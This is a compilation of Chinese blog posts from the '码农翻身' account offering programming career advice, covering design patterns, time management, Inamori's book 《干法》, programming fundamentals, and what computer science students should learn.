在自己的主力开发语言之外熟悉一门脚本语言做很多事都可以事半功倍，也可以体验到另一种编程文化。




有很多脚本语言（shell,Ruby,Perl等等）可以选择，笔者推荐Python。Python这些年在很多领域都重新受到追捧。Python有2和3两种，推荐直接上手3，虽然很多老版本服务器系统自带的还是2，但是现在基本上所有的主流库都已经支持Python3了。 




如果单纯的当做一个脚本语言，只需要了解如何处理字符串，常用数据结构，如何处理文件和网络IO,基本就满足日常需求了。  




7自己的CodeBase





将自己编程经验提炼为一个CodeBase，这是非常有价值的做法。




经常需要的用模块，如Web框架、模板引擎、Http请求、单元测试以及Mock、Cache、调度、Metric、时间处理、安全、日志、XML/Excel解析等等，每一个模块都有三四种可以选择的技术，选择一个自己熟悉的，构建自己的软件开发栈，这样遇到各种需求都能快速基于自己的CodeBase的实现。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》







码农翻身



用故事讲述技术

















                    
                    
                    给设计模式说句公道话

                                                                                

                    

                    

                    
                    
                    这两天有同学和我聊到了设计模式的问题， 其中一位同学说： 我自学Java ，已经学了封装、继承、多态，也看了设计模式， 但是我发现在编程中根本就用不到啊。





还有一位对设计模式非常不屑： 这是过度设计的代表， 纯属脱裤子放屁，多此一举。




这些对设计模式的看法要么是过激，要么是对设计模式不太了解， 我觉得有必要写个文章，一是给设计模式说句公道话。 二是给大家分享下我学习设计模式的经过。




其实不管你承认不承认， 设计模式已经变成了面向对象编程语言（尤其是Java)的DNA, 一个你绕不过去的门槛。




我可以大胆地预言一下： 只要面向对象的编程范型没有消亡， 只要还在用OO编程，那设计模式就不会过时。




设计模式是什么东西？ 简单来讲就是久经考验的、在面向对象设计领域的成功经验的总结。




世界上第一个面向对象的语言Simula在上个世纪70年代就诞生了，70年代产生了更具影响力的SmallTalk,  后来是C ++, Java, C#...... 发展了这么多年， 你可以想象有多少应用被开发出来， 这中间有多少血和泪的教训。




有些人踩了一个坑， 挣扎着爬了上来， 拍怕身上的尘土，挥一挥衣袖， 不带走一片云彩。




有的人则更加有心， 会在那里立上一个牌子： “注意啊，当你看到周边环境出现XXX情况的时候，就说明这里有个坑，可以用XYZ的办法来解决。”




这样的牌子立得越来越多，终于有几个大师跳出来说： 好吧， 是时候对这些牌子做一下分类总结了，我们给这些牌子起个有意义的名称， 这个叫 “工厂方法”, 那个叫“装饰者”......  ，   于是设计模式诞生了。




既然是经验总结，这么好的东西， 为什么初学者感受不到他的好处呢？




我想起来自己刚刚接触设计模式的时候，当时模式的概念进入中国没多久，大家奉若神明，见面不谈模式简直都不好意思和人打招呼。　

　

于是我也赶紧去海淀图书城买一本设计模式的书， 没错，就是“四人帮”写的经典书：









然后忍受着中文翻译，开始拜读，读完以后的感受是：　嗯，大师的教诲，确实是看不懂啊。




书中举的例子大部分都是很“高冷”的文字编辑器相关的， 和我们这些程序员的日常工作相距较远。由于缺乏切身的体会，这设计模式似乎是隔着一层纱，模模糊糊地能感觉到它的存在， 但是却看不清楚。




有一次吃饭的时候给组长安利设计模式，吹牛说设计模式就是面向接口编程而不是面向实现编程，优先使用组合而不是继承， 发现变化并且封装变化。 -- 其实我当时并没有体会到这种思想，就是记住了而已。　




组长说：这确实是面向对象编程的精髓， 这么好的东西，你可以在项目中用一下啊。




我奉命去项目实战，使出了洪荒之力， 用C++写了一个Iterator出来，高兴得不得了。




组长说： “嗯？ 你为什么不用for 循环来遍历？ ”




我以为组长不懂：“ 我实现的可是大名鼎鼎的Iterator啊”




“我不管你用什么模式， 但是这就是一个对数组的遍历，在可见的未来，这个数组作为数据结构也不会变化，  为什么再封装一层呢？”




我意识到掉进了另外一个坑里： 为了使用而使用， 完全不考虑Iterator模式要解决的问题 : 提供一种方法访问一个容器对象中各个元素，而又不需暴露该容器的内部细节。




于是我就把设计模式给搁置下来了。




过了一阵子我要写一个在浏览器中运行的Java Applet程序， 需要通过网络访问后台的铁路信息系统，这样的网络访问代码很多，还要处理对象的序列化问题， 这些非业务代码反客为主，把Applet中正常的业务代码搞得凌乱不堪。




当时我就想到，这是位于两个地址空间的程序在通信， 要是那个Applet能像访问本地java方法一样去使用那些接口该多好 ！




苦思冥想以后，终于想到了一个设计：　可以做个代理对象，对Applet提供接口， 内部封装网络访问代码和序列化代码， 把请求发送给后台的铁路信息系统系统处理。








有了这个代理，把繁琐的、易于变化的细节都封装了起来，Applet中的代码简化了很多， 可以真正地专注业务了。




转念一想，咦， 自己千辛万苦、苦思冥想出的设计方法，不就是设计模式中Proxy模式思想的体现嘛！ 原来这才是设计模式啊 ！




前辈们早就碰到过坑，已经在这个坑旁边树立了一个牌子：




“远程代理（ Remote Proxy ）为 一 个 对 象在 不 同 的 地 址 空间 提 供 局 部 代 表。NEXTSTEP[Add94] 使用N X P r o x y类实现了这一目的。Coplien[Cop92] 称这种代理为“大使”（A m b a s s a d o r）。 ”




（微信公众号码农翻身注： 这个NEXTSTEP可是上个世纪80年代，乔布斯被从苹果扫地出门后搞出的操作系统，实在是太古老了，所以不会引起读者的注意。  不过考虑到这本书的是1994年出版的， 也就不足为怪了。)




这个牌子我在看书的时候只是瞥了一眼， 没有深刻体会而已。  我对设计模式感觉模模糊糊的，正说明我在面向对象设计方面是个菜鸟。




多年以后，再回过头去看这个经典书，对于之前根本不在乎的文字却能产生共鸣，充分说明了经验的增长。




后来我就看各种开源的代码实现，陆陆续续接触到模板方法，Command模式，组合模式，工厂方法...... 加深了对设计模式的理解，慢慢的体会到了模式的优雅之处。




对我个人来讲，学习设计模式经历了这么三个阶段：

1.  囫囵吞枣，建立初步印象

2.  在实践中有意或无意的使用设计模式，读开源代码加深体会

3.  忘掉设计模式，把设计模式的思想内化， 变成自己设计方法的一部分。 -- 还在努力修炼中




对于程序员来说，学习设计模式，最重要的是学习它背后的思想，努力地体会设计模式是怎么在一个场景下去解决问题的。 




刚开始搞不明白也没什么大不了的，学习本来就是螺旋上升的过程，努力地思考，总有顿悟的一天。




最后再重复一遍模式背后的思想吧：

面向接口编程而不是面向实现编程

优先使用组合而不是继承

发现变化并且封装变化




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    时间是这么被浪费掉的

                                                                                

                    

                    

                    
                    
                    


上午连续工作了一个半小时，心无旁骛，效率极高。




到了10点半大脑开始抗议，决定休息一会儿再继续工作，  于是到公众号看看大家的留言，回复一下。




发现有个留言在危言耸听： “ Spring 已经落伍了， 现在都用DropWizard ”




DropWizard ？ 这是什么鬼？ 真正的程序员看到新技术就像小孩儿看到新玩具一样， 肯定要扑上去把玩一番。




到google 搜索， 完了， VPN已经罢工，尝试着换hosts也不管用，  只好用百度。




读了国内的一篇文章， 大致知道DropWizard是怎么回事了，无非就是把一些好用的类库组织起来，让你快速地开发Web应用尤其是RESTful风格的应用， 和spring boot也许可以比一比。




又往下翻了翻搜索结果，发现了另外一个翻译的文章， 本着外国的月亮比国内圆的原则， 还是要看看的，不过看了以后就觉得被坑， 我想知道的原理几乎没讲。




拉到文章最后，发现一个链接：阿里巴巴 Java 开发手册评述  ,  心里不由得冷笑一声， 这不就是一个推广文吗， 还评述！




咦，这篇文章的标题很诱人啊《 Kotlin 喧嚣过后，谈谈 Java 程序员未来的出路》 ， 考虑到我之前也写过一篇Kotlin的文章， 忍不住点进去看看。




前面也没什么干货，无非就是java 生态圈软件的罗列， 不过后面的才是精华，这句话说的很好： ‘技术的更迭，有时候会来的很突然，很猛烈。但系统的更迭，往往会慢得多。’  太多的公司、系统、平台都在使用Java, 想替换掉他们实在太难。 




50年后，世界上只剩下了不到100个Java 程序员， 有个叫“四十大盗”的公司核心系统就是用50年前的Java编写的， 由于这个核心系统每年还能产生巨额的利润， 四十大盗公司舍不得关掉， 现在只有这不到100个程序员能用面向对象和设计模式来维护了，于是他们像熊猫一样被供了起来，开豪车，住别墅，每天都是山珍海味。  那时候我都80多了，要是能成为其中的一只“熊猫”也就不愁养老了。  --- 白日梦的感觉真是不错 




文章中提到了搜索GitHub热门项目的办法 ： java stars:>10000， 去github上试试吧。 果然好多星标项目， 小屁孩又发现了新玩具，赶紧点开看看。 




排名第一的竟然是java-design-patterns ， 果然设计模式在java 世界是大行其道。  大名鼎鼎的elasticsearch还是热度不减啊， 阿里巴巴的fastjson 也在其中。。。 




怎么回事，javascript的代码仓库也被搜出来了，有个有趣的项目是：clean-code-javascript， 其中一张图看了半天才明白： 原来就是Bob大叔(Robert Martin)在《Clean Code》 中提出的著名论断： 

衡量代码质量的唯一标准就是阅读代码时骂脏话的次数






（这两个房间都在做code review, 从左边的房间传出的脏话WTF很少， 右边的房间就不行了）




虽然这个说法很早就知道，但是这个图从来没见过， 分享给群里的同学们， 大家一起乐一乐， 于是又在群里聊了半天。




Java 的项目看完了，要不再看看最近大热的Go 语言？   ： go stars:>10000




go , moby（就是原来的docker了）, kubernetes 等明星赫然在列， 还有一个怎么用go 做web 应用程序的教程， 这go语言能做web开发吗？  有中文版， 反正也不费脑子， 浏览一下。




其中讲到了开发工具，有一个是Visual Studio Code ， 这不就是原来Eclipse JDT的大拿Eric Gamma从IBM跳槽到微软后搞的项目吗？  到官网去看看， 真是慢！




自从2003年和微软分手以后， 好久都没有安装过微软出品的IDE了， 下载下来玩一下！








虽然只是一个带调试功能的编辑器，这Visual Studio Code 看起来挺酷的，很轻量级， 不过热门的插件中都是C#, Python, Go等语言， 我赖以吃饭的Java 还得搜索才能找到。




正准备开始折腾下Java,  猛然惊醒，已经11:59了 ！   时间怎么过得这么快！ 




漫无目标地浏览网页是最容易耗费时间的， 信息爆炸时代，网上有如此多新奇的东西，一个接一个，根本就看不完。




本来是想了解下DropWizard ， 竟然跑到风马牛不相及的Visual studio code 来了。 




我学到了什么？ 好像什么都没有！ 仅仅是对一些系统产生了印象，为以后增加了一点谈资而已，更关键的是我的工作没有按时完成，没有能在我精力充沛、可以高效率推进的上午完成， 这是个很大的浪费。




保持目标感，记住方向，把有限的时间花在刀刃上是多么的重要啊！




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    你真正付出了全部努力了吗？

                                                                                

                    

                    

                    
                    
                    




这次的标题有标题党嫌疑， 其实想向大家推荐一本书， 稻盛和夫的《干法》，书名读起来比较别扭， 可能是日文的直译吧。 我理解就是做事的方法。




稻盛和夫27岁开始创业，赤手空拳在40年间创立了两家企业：京瓷和KDDI， 有趣的是这两家公司完全是不同的业务领域， 一个是精密陶瓷及其衍生品， 另外一个是电信行业。 让人感到震撼的是，这两家公司都进入了世界500强。




2010年， 稻盛和夫在日本政府的恳求下， 以78岁高龄出任破产重建的日本航空公司董事长， 仅仅一年就让日航起死回生，并创造了日航历史上最高的利润， 这个利润也是当年全世界727家航空企业中的最高利润。




从此稻盛和夫成为一个传奇。




当然并不是让大家看传奇人物的传奇故事， 那样的话市面上的书一抓一大把，光马云的书就可以落成一大摞。   我推荐这本书是因为它回答了很多人在QQ、微信上问我的问题， 最流行的一个就是：
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 公司／项目／代码很烂





“刘大大， 我刚毕业/刚培训完， 现在进入了一家公司，工作才几个月。




领导分配的都是非常琐碎的活， 没什么技术含量。




没有人带我，全靠我自己摸索。




公司的代码都是很老的代码，没有文档，懂业务的老人都跑光了。




我觉得在这里学不到东西，你说我该怎么办？ 是跳槽还是继续在这里耗着 ？ ”




似乎每个人都对自己的工作不满意， 我之前也针对类似问题写过一篇文章《从无聊的工作中寻找价值》 ， 但感觉也是没有戳到痛点。




稻盛和夫刚毕业的时候，进入的也是一个风雨飘摇、濒临破产的公司，同时加入公司的人一个个跳槽走掉，他自己想走但是没有走成 ，一个人孤零零的留在这个衰败的企业。




我想他的遭遇估计比我们大部分都要悲惨， 但是在这种情况下他改变思维， 不再发牢骚、说怪话，聚精会神，全力以赴， 用极度认真的态度面对自己的工作， 最后竟然开发成功了“U字型绝缘体”，迎来了人生的转机。  我想你看完他的故事，对比下自己的工作，肯定深有感触。




2



 对XXX不感兴趣





另外一个经常有人问我的问题是： 刘老师，我入坑以后发现对编程不感兴趣， 怎么办呢？




我会＂谆谆教导＂说： “那你要培养下对技术的兴趣了，软件编程行业发展这么快， 4-5年就一个新的技术浪潮， 没兴趣根本混不下去。” 但是怎么去培养对技术的兴趣呢？ 其实我心里也没底。




这本书的第二章讲的就是“让自己喜欢上所从事的工作”， 怎么样从工作中寻求快乐， “抱着自己的产品睡”， “倾听产品的哭泣”，　我觉得本质就是要想办法建立一个良性的循环：




首先改变心态，强迫自己去埋头到工作中去，至少不厌恶工作，消除负面情绪。　接下来就会深入工作，做出一点成果，　获得自我或者别人的激励，于是更加努力的投入工作，良性循环就建立起来。




这让我想起了在大学时做的一个铁路局的项目，有一大段代码是为了选出列车轴承的，读起来很痛苦，后来我把他打印出来，整整用了十几页的打印纸，静下心来一行一行的看， 最后终于搞明白业务逻辑了。 就觉得事情看起来比较难，让人生厌，所以就不想离开舒适区去努力，  但是真正的深入研究后还是挺有意思的嘛。
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 内向程序员的职场顽疾





内向的人总是不敢出头，害怕枪打出头鸟， 这严重阻碍了内向程序员的发展， 我之前的写过一篇文章《凡事必先骑上虎背，给性格内向的程序员聊几句》， 大家反响很好， 觉得触动了内心的软肋。




《干法》第二章也特别提到了克服职场顽疾的两个办法：




1.  成为“自燃型”的人




不要“因为命令才工作”， 而是在别人吩咐之前自发去干， 积极主动。




2. 勇于在“旋涡中心”工作




这一点对于内向的程序员有特别的意义 ！  问下自己，你能不能主动带头、带动周围的人把工作有声有色的开展起来？  




书中举了一个例子， 老板向大家提出一个要求： 这个月的销售额要提高。




这时，如果一个刚参加工作不久的年轻员工提出：师兄，老板讲了要提高销售额，今天下班后，大家集中讨论一下怎么来提高，好不好？　




如果能开口说出这样的话，此人就是“在旋涡中心工作的人”，有望成为团队的领导。　




反思下我自己，经常就做不到，或者说不敢在旋涡中工作，怕搞砸，怕别人说风凉话，很多时候都是等待领导给我机会。你是不是也是如此呢？　
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 你真正付出了全部努力了吗？





很多初学者跑来向我诉苦：刘老师，我觉得ＸＸＸＸ太难了，我学不会。或者是：我学了后边就忘掉了前边，越来越迷茫了，怎么办？




《干法》的第三章给出了响亮的回答：持续地付出不亚于任何人的努力




所以你得认真的想一想：“在学习中你真的竭尽全力了吗，你真的把你的愿望变成了潜意识，时时刻刻都在努力吗？”




之前的文章中给大家提到过一个例子，有个参加培训的小伙子， 特别的努力，培训中每天晚上学习到凌晨一两点， 问问题把老师都给问烦了。   培训结束后在工作中更是拼命， 经常性的睡在公司， 醒来就工作。这个小伙子工作两年不到，在上海已经拿到两万的薪水了。 　




付出这样努力的的人不成功简直是没有天理。　




稻盛和夫在书中也举了一个京瓷公司完成ＩＢＭ订单的精彩例子，让人印象深刻。　




当你搞不定一件事情的时候，问下自己：“真的把自己身体的力量全部用尽了吗，真的把自己的灵魂注入到产品／技术当中了吗？”




我上面提到的只是书中内容的一部分， 稻盛和夫先生还提到了追求完美，创造性地工作等方面， 特别是企业做大以后，上升到社会责任， 更加令人感慨。 




这本书其实很薄， 只有100来页， 并且很多都是个人的亲身经历，读起来很轻松， 用周末的一天甚至半天就能看完，我相信你看完后也会深受启发，会下决心想稻盛和夫先生那样， 想办法让自己喜欢上自己的工作 ，持续付出不亚于任何人的努力，最后在自己的领域取得成功。




当然个体差异很大， 不可能每个人都成为稻盛和夫， 但是他的故事以及他传递出来的正确的三观确实可以激励自己前行。




所以， 你值得去读一下《干法》这本书。




ps：我和这本书的作者、译者， 出版社没有任何利益关系，纯属个人推荐。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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                    写给初学者：编程的本质

                                                                                

                    

                    

                    
                    
                    俗话说，开卷有益， 前几天又翻了下《计算机程序的构造和解释》，看到一个采用牛顿法求平方根的例子，产生了点新的感想，和大家分享下。




平方根的数学定义是这样的，对于一个数x , 如果有另外一个数r,  r大于等于0 ，并且r 的平方等于x ， 那 r 就是 x的平方根。




这个定义描述了平方根的一般性事实，但是这是一个声明性的描述，并没有告诉我们一个具体的计算过程。 假设我们要写一个程序，给定一个数x , 怎么求得它的平方根呢？




初学者可能会觉得， 我可以写个这样的程序啊：




square_root( x ){

    找到一个r ，确保 r的平方等于 x

    返回r

}




但是这个函数一点用都没有，只不过把原来的问题给重新描述了一遍而已。




如果有一个这样的编程语言，程序员会非常高兴： 我们可以用声明性的方式来写程序了！只需要告诉计算机说，找到一个r ，使得r的平方等于输入x 即可。




但是在当前的计算机体系下面， 这是绝对不可能的，计算机是个笨家伙，它只能按照人类的告诉他的指令一步步的工作， 它突出的优势只是运行得比较快而已。




程序员必须要告诉计算机到底该怎么做，怎么去找到那个r， 第一步怎么做，第二步怎么做。。。。。什么时候结束。




针对于求平方根的例子， 程序员需要找到一个算法，然后把这个算法的步骤和计算过程用计算机语言描述出来，形成计算机指令。




这个计算过程大概长这个样子：

先猜测r = 1 ， 判断r 的平方和x 是不是非常接近（例如相差0.0001）

如果不接近，让 r = (r+x/r) / 2， 继续判断r的平方 与 x 是不是非常接近

如果不接近， 继续让 r = (r+x/r)/2 。。。。。




对于 x =2 , 其计算过程如下：









很明显，这是一个逐渐逼近的过程，计算的次数越多，越逼近真正的平方根。




改写为编程语言描述：









请暂停阅读10秒钟， 仔细体会上述的计算过程，它和之前声明性描述有什么区别。




一个描述平方根是什么， 另外一个描述求平方根计算机具体怎么做。




无论多么复杂的程序，无论的前端之王javascript , 还是后端的java ，无论是面向过程的还是面向对象的，最终的做的同样的事情：把用户描述的需求（通常是声明式的）变成计算机可以理解，可以运算的步骤。




“是什么” 和 “怎么做”之间有着巨大的鸿沟，这个鸿沟就需要程序员的大脑去填补。 求平方根是个非常单纯的例子，已经有数学家们想好了具体的计算办法， 程序员翻译一下，变成计算机语言就行。




现实中这样的好事儿是不多的， 比如说你们公司要搞个社交化的促销： 用户连续x天转发某个活动到朋友圈就可以获得奖品， 转发的有效时间是早上9点至晚上10点， 同一天转发多次只算一次。




在实现上你首先得记录用户什么时间转发的，然后对转发时间排个序，过滤掉那些无效的转发，计算这些用户的转发时间没有连续性， 连续的天数到了指定的数值没有。 ---  这就不存在现成的算法，程序员需要自己想出计算的步骤，然后用代码实现。




可以看出，这不需要高深的数学知识，就是找到一个合适的算法和数据结构来描述它，这是编程最最基本的能力。




对于小白来说， 通过自学和培训，可能很快学会一个语言的使用， 可是基本能力不加强，早晚要吃亏的。最突出的表现是给他一个很简单的业务，他花了很长时间才写出一个漏洞百出的版本。




随着业务越来越复杂，一个领域的问题会和其他领域的问题交织纠缠在一起，让复杂度大大增加，简单的一个或几个算法和数据结构是搞不定的，  这时候必须得用一些辅助的手段才能解决，比如使用封装、分层、模式、分布式等等， 这是属于另外一个维度的设计能力了， 这种能力和编程语言都没有关系。




初学者完全可以先学会编程语言和框架，先具备工作能力，然后必须加强数据结构和算法的训练，随着经验的积累，慢慢地扩展到设计和架构层面。




（完）

你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身2016文章精华》或者《码农翻身2017上半年文章精华》
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                    在大学期间更应该学习什么？

                                                                                

                    

                    

                    
                    
                    1
前言


最近有不少还在读书的同学来问我大学期间到底应该学什么，学了Java，看了JS, HTML,CSS,  尝试了一下SSH以后似乎就迷茫了， 这其中还有不少是计算机系的同学。




毫无疑问，为了毕业后找个好工作，在大学期间应该学一些应用层的技能，掌握一门应用广泛的语言及其框架。最好做过实际的项目，有过实习的经验， 这些都是简历中能看得到的加分项，是脱颖而出的重要砝码。




但是这些东西都是一颗大树的枝叶和花朵， 在大学期间更应该学习的是看不见的根，也就是基础知识， 对于科班出身的人更是如此。




原因很简单，基础知识虽然可以在工作以后再补，但是再也找不到这么多大块的时间，这么安静的环境，让你心无旁骛的钻研了。 




你不用考虑着第二天怎么去应对客户的脸色，也不用去想着怎么去给领导解释昨晚的严重Bug不是我们的问题， 你只需要单纯的学习就好，看到有这么多同学把美好的时光都花在打游戏上，实在是令我扼腕叹息，要是把这些时间给我就好了！




我现在只能利用一些碎片时间补一下基础的知识，如果时光倒流，让我再坐到图书馆中去静静地看书该多好！




同学甲说： 基础，又是基础，老刘你说了多少遍了！我耳朵都听出茧子来了！




抱歉，基础就是这么很重要，我还是要像祥林嫂一样继续啰嗦。




我认为大学期间应该搞定的基础知识应该包括（不限于）这些：




2
C语言





大学期间不要忙着去学Java , Python等高级语言，  你应该先去搞定C语言（不是C++啊），因为这门语言太贴近机器了， 能帮助你理解计算机的运行原理，不信你看看《深入理解计算机系统》， 通篇都是C语言，它怎么不用Java,Python去描述啊？  因为他们太高级了，太抽象了，描述不了底层啊。  




学会C语言，才能给其他基础知识打下基础，因为大部分基础软件、系统软件都是C语言写的，你看不懂C程序那怎么行？ 




不要像我当年一样，看到别人已经能做网页了，自己还在命令行的小黑窗口中折腾，头脑一热就把C语言给扔了，后来又花了很多时间来弥补。 




要记住你学会了C这门贴近硬件的，简单而又复杂的语言以后，再去学别的语言，几乎不费吹灰之力， 他们都太简单了！




3
理解计算机的组成原理


如果你是科班的，老老实实地把《计算机组成原理》和《数字电路》这两门课学了，把那些实验内容（如门电路，半加器，全加器，触发器等）兢兢业业地做好。




你应该定个目标： 自己折腾一个简单的CPU，简单的就是进行数值运算，复杂一点儿的可以实现指令， 如果觉得教材实在枯燥，可以结合《编码》或者《穿越计算机的迷雾》 来学习，  如果实在喜欢玩游戏，可以到《我的世界》游戏中去制造CPU啊，已经有大牛这么做了。




4
理解操作系系统原理


操作系统太重要了， 对操作系统的理解决定了你以后工作中能达到的深度，这里边藏着太多极为重要的概念， 例如进程，线程的概念，锁、调度，IO模型，虚拟存储等等 ， 他们会在你以后做高性能，高并发系统这一块儿起到重要作用。 




即使你先学会了Java , SSH/SSM,  随着你能力的提升，最后你还是得走入这些基础知识的世界。为什么不在大学期间把他们都搞定呢？ 




有人可能觉得OS太枯燥了，实在是看不下去，其实OS是一门动手实践课， 你可以去看看早期Linux 内核的源码（要求C语言啊），书籍文章多如牛毛；  也可以自己动手自制简单的操作系统，视频书籍也不少，就看你愿不愿意把玩游戏的时间花在上面了。 




举个例子：哈工大的VOID同学就在本科期间从零开始做了一个类似于Linux 0.11的操作系统出来，他拿到了阿里的Special Offer , 目前在阿里就职。  他录制的《从零开始编写操作系统》视频可以在B站看到： https://www.bilibili.com/video/av12169693/




同学乙要问了： “人家是大牛，还有一个好学校，我一个三本的渣渣怎么可能做得出来？ 你这不是给我设置了一个不可能完成的任务吗？”




确实是这样，天才永远只有少数，不可能每个人都成为天才，也不可能每个人都做出天才的成果。  




但是我们也要在天才铺好的道路上坚持往前走走， 也许有一天就会发现，哦，我已经超越了这么多人了啊！




要坚持使用Linux而不是Windows，立志在后端做开发的更是要如此， 别像我大学时安装个双系统，结果整天宠幸Windows , 从来不翻Linux的牌子。 




4
 网络， 数据库， 编译原理





把这三者合到一起， 是我个人觉得他们的重要性没有前面的高。





对于网络，需要理解网络分层模型，可靠性传输原理，TCP/IP协议，Socket编程，和操作系统结合起来可以考虑写一个Web服务器。




数据库的话首先理解SQL、关系模型、事务、索引， 要想深入学习的话可以看看查询是怎么实现的，事务是怎么实现的， 如果确实感兴趣一定要看看sqlite的源码。 




学编译最好的方式就是自制一个编程语言了， 搞出来以后会对编程语言有个极为透彻的理解。




5
数据结构和算法





这个重要性就不用再强调了，经常看码农翻身的可能都要烦了，可以看看之前的文章《学习数据结构有什么用？》




学习的过程中除了看书理解各种算法和数据结构外，更重要的就是做题、做题、做题！




同学丙说： “老刘，你说的不都是计算机的专业课吗？”




是的，就是计算机的专业课，一般来说，工作个几年以后你才会体会到他们的珍贵，更会痛惜大学时为什么不好好学，就像我现在这样。 




不要局限于学校发的教材，现在网上的视频资源异常丰富，世界级大学的课程我们也可以看到，千万不要浪费。 




同学丁说：老刘你别瞎BB了，你让我学Java，做项目，现在又让我造CPU，写操作系统，数据库，服务器......  我都没时间和女朋友约会了。




恭喜你，已经有女朋友了，超越了大部分同学了，在大学谈一场恋爱，享受一下青春也是非常重要的事情。




但是我想说的是，你不可能把所有的都学会，你能做的就是集中火力突击一个方向，那就是你最感兴趣的方向。 只有那些经得住寂寞，耐得住诱惑的才最有可能成功，如果再和自己的兴趣结合起来，那简直肯定成功。




总而言之，计算机的基础知识让你和别人区分开来，让你有着比别人更快的加速度。  




但是老刘瞎BB这么多估计也没太大用处，因为你不行动我也没有办法。




你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》













优秀人才不缺工作机会，只缺适合自己的好机会。但是他们往往没有精力从海量机会中找到最适合的那个。




100offer 会对平台上的人才和企业进行严格筛选，让「最好的人才」和「最好的公司」相遇。




扫描下方二维码，注册 100offer，谈谈你对下一份工作的期待。一周内，收到 5-10 个满足你要求的好机会！



















                    
                    
                    看看“悲催”的码农得学多少东西？

                                                                                

                    

                    

                    
                    
                    

首先你得会一门编程语言，  比如 C, Java, Python,  PHP等，  但是光语言本身还差得远， 还得学习这门语言得类库，学完类库还得学框架， Spring, struts, hibernate ，mybatis 每一个都不是善茬。





做前端的同学也不用说了， html / javascript / css，   再加上一大堆前端框架Angular, React, Vue， 总得学会一样吧。




学完了框架才能做项目，找工作， 才有可能开始光荣的增删该查之旅。




但是这还远远不够， 前面说的这些知识只能算是入门。




数据结构和算法必须得学， 要不然你写的代码永远没有隔壁的张大胖写的好，同样的需求，人家的代码赏心悦目， 你的凌乱不堪， 被领导批得体无完肤。




所以《算法》，《大话数据结构》，《图解数据结构》，《算法导论》...... 统统都来吧， 数组、栈、队列、二叉树、图、排序、搜索 保证不把你淹没。




平时和大家聊天，一定得能说出几种常见的设计模式，尤其是单例模式的几种写法，要不然出门都不好意思给人打招呼。




一直做一个被分配任务的初级码农肯定是不行的，   所以面向对象的分析和设计必须学习，  要不然将来领导给你委以重任， 让你做分析和设计， 你怎么去划分模块和服务，怎么去设计接口？ 依据什么原则和指导方针？




软件的开发过程及最佳实践也快变成码农必备了， 敏捷开发， DevOps,   单元测试，持续继承，TDD, 结对编程...... ,  必须得跟上趟。




作为程序员的自我修养，计算机的基础知识也是必备。




计算机的组成原理，冯诺依曼结构必须得了解，要不然整天写程序， 都不知道计算机是怎么工作的， 被人家笑话；  如果想深入一下， 数字电路，汇编也需要略知一二， 因为在某个阴暗的犄角旮旯总会有汇编在等着你。




数据库得学， 基本的SQL, 表的设计都得会，范式、锁、隔离级别让人头大。




深入一点的还涉及到调优， 在架构层面还得了解分库、分表、备份、读写分离。




光关系数据库还不够， NoSQL在互联网时代很流行，工作中很有可能用到， 不会不行。缓存也跑不掉，memcached, redis 已经是工作中的必备了。




现在不联网的程序几乎都要绝迹了， 所以计算机网络得学， 至少得理解http, https, socket,  tcp 是怎么工作的， 由https引出的RSA,  Hash, 证书也得知道是怎么回事。




安全其实是个大话题，像什么XSS,CSRF,SQL注入...应该成为Web编程必须要考虑的事情。




操作系统也得学，这样才能理解进程/线程，还有他们之间的通信和同步， 以及同步/异步，阻塞/非阻塞，select/epoll  等听起来很时髦的词汇。  虚拟内存和文件系统，总得明白一个大概。   此外，Linux的基本命令怎么着也得能敲出来一些， 如果能使用vi 就更好了。




深入理解Java虚拟机啊， 搞不明白虚拟机是怎么工作的，系统中有些问题你还真搞不定。




还有Tomcat, Ngnix .... 都不是一时半会儿就研究透的。




你可能还会听人说：离散数学很重要， 是计算机学科的基础！那就去看看吧， 除了布尔运算之外， 其余的什么等价关系、偏序、命题演算、谓词演算、群、格....彻底把人搞晕。




这些基础知识没还搞定，什么云计算、大数据、微服务、容器又开始鼓噪起来了， 你难道不想了解一下？ 难道不怕落伍？




码农就是这么悲催，被各种新技术赶着不断向前， 但是反过来看， 要是对软件编程有兴趣， 那简直是太幸福了， 新玩具不断出现，玩都玩不过来。  所以想在这个充满挑战的行业里一直保持就竞争力， 那就不断的学习吧。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》





有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







·END·
 


码农翻身
用故事给技术加点料





微信号：coderising








编辑推荐





掘金是一个高质量的技术社区，从移动开发到架构设计，编程语言到开源类库，让你不错过互联网开发的每一个技术干货。长按图片二维码识别或者各大应用市场搜索「掘金」，技术干货尽在掌握中。





















                    
                    
                    学习编程的四兄弟

                                                                                

                    

                    

                    
                    
                    IT很火爆， 编程很热门， 张家四兄弟纷纷入坑， 他们学的如何？且听下文分解。 




1



  摇摆不定的老大





我是老大， 最早的时候是Java爱好者，  因为大家都说Java 应用面广， 既能做Web, 又能做Android, 还可以开发大数据应用，就业需求量大， 学Java绝对没错， 于是就兴冲冲的开始了Java 之路。




Java 才开了个头， Java SE勉强看完，  我又在网上看到抨击Java 的文章： 傻大笨粗，老气横秋，  人家Pyhton 一行顶你10行，  云计算，大数据样样在行， 非常适合做小白的“初恋”语言，转眼一想， 还是投入Python 的怀抱吧。




Python 刚入门，  网上又热炒Go语言， 说是去年增长最快的语言，是21世界的C语言， 还有个财大气粗的亲爹Google , 前途不可限量， 赶紧去学。




昨天半夜， 无意看到一篇介绍javascript 的文章， 说javascript是前端之王， 那些前端框架又酷又炫， 比呆板的后端编程强太多了，  于是又动了看javascript的心思。




就这么来来回回， 反反复复， 我被网络舆论带着，游走在各大语言边缘， 每个都学了皮毛， 了解了优缺点，拿来和人吹牛是足够了， 但是没有一个精通的， 这可怎么办啊？




2



“小仓鼠”老二





